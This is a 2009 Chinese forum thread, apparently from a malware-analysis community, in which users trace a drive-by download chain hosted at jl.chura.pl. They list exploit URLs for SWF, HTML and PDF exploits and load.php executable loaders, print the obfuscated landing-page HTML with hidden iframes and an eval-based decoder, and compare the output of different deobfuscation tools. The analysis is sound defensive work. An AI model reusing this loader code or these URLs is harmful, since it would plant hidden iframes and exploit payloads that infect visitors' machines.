jl.chura.pl/rc/

显示全部楼层 · 发表于 2009-6-4 17:57:38

→→→http://jl.chura.pl/rc/
→→→http://jl.chura.pl/rc/sploits/i1.html
→→→http://jl.chura.pl/rc/sploits/tc115.swf
→→→http://zief.pl/rc/load.php?x=SWF(load.exe)
→→→http://jl.chura.pl/rc/sploits/f2.htm
→→→http://jl.chura.pl/rc/sploits/f115.swf
→→→http://zief.pl/rc/load.php?x=SWF(load.exe)
→→→http://jl.chura.pl/rc/pdf.php?id=312(pdf)
→→→http://jl.chura.pl/rc/load.php?id=312&spl=3(load.exe)
→→→http://jl.chura.pl/rc/load.php?id=312&spl=2(load.exe)

显示全部楼层 · 发表于 2009-6-4 19:44:09

如果用freshow或者redoce得到的代码为：

<iframe src="sploits/i1.html"></iframe><iframe src="sploits/f2.html"></iframe><html><body><script>function onerrorpage(){return true;}</script><style>.qhezQnZ8mb{display:none;}</style><div class="qhezQnZ8mb"id="sfd">1e2v345a6l</div><script>window.onerror=onerrorpage();</script><b class="qhezQnZ8mb"id="qhezQnZ8mb">100.111.99.117.109.101.110.116.46.119.114.105.116.101.40.34.60.105.102.114.97.109.101.32.115.114.99.61.39.104.116.116.112.58.47.47.106.108.46.99.104.117.114.97.46.112.108.47.114.99.47.112.100.102.46.112.104.112.39.32.119.105.100.116.104.61.49.32.104.101.105.103.104.116.61.49.32.102.114.97.109.101.98.111.114.100.101.114.61.48.62.60.47.105.102.114.97.109.101.62.34.41.59</b><script>var g=document.getElementById('sfd').innerHTML.replace(/[\+123456]/g,"");var extJS=eval(g);var s=document.getElementById("qhezQnZ8mb").innerHTML;s=s.replace(/[A-Za-z]/g,function (c){returnString.fromCharCode((((c=c.charCodeAt(0))&223)-52)%26+(c&32)+65);}).split(".");var p="";for(var i=0;i<s.length;i++){p+=String.fromCharCode(s);}extJS(p);</script></body></html>

而用Malzilla 得到的代码是下面的。

[ 本帖最后由 shadowmin 于 2009-6-4 20:21 编辑 ]

显示全部楼层 · 发表于 2009-6-4 20:05:59

为什么.我用mz确看不到呢?

显示全部楼层 · 发表于 2009-6-4 20:20:19

我把mz看到代码上传了，可以看到的东西更多。

显示全部楼层 · 发表于 2009-6-4 20:23:41

我知道了.原来老版本的可以看到.确实里面能观看个pdf的下载地址.

显示全部楼层 · 发表于 2009-6-4 20:26:59

关于:解密的日志(全体输出 -  12):
Level  0>http://jl.chura.pl/rc
Level  1>http://jl.chura.pl/rc/sploits/i1.html
Level  2>http://jl.chura.pl/rc/sploits/tc115.swf
Level  3>http://zief.pl/rc/load.php?x=swf
Level  1>http://jl.chura.pl/rc/sploits/f2.html
Level  2>http://jl.chura.pl/rc/sploits/f115.swf
Level  3>http://zief.pl/rc/load.php?x=swf
Level  1>http://jl.chura.pl/rc/load.php?id=270762
Level  1>http://jl.chura.pl/rc/pdf.php?id=270762
Level  2>http://jl.chura.pl/rc/load.php?id=270762&spl=2
Level  2>http://jl.chura.pl/rc/load.php?id=270762&spl=3
Level  1>http://jl.chura.pl/rc/load.php?id=270762&spl=4
Level  1>http://jl.chura.pl/rc/load.php?id=270762&spl=5
日志由 Redoce1.9第26次修正版于 2009-6-4 20:49:22 生成。
非一人所完成。
这是可得到的地址，也包含了pdf里面的地址。
不知道为什么两者的差别哪么大。

[ 本帖最后由 shadowmin 于 2009-6-4 20:57 编辑 ]

显示全部楼层 · 发表于 2009-6-4 20:46:49

好快啊，火狐已经打不开了

[其它] jl.chura.pl/rc/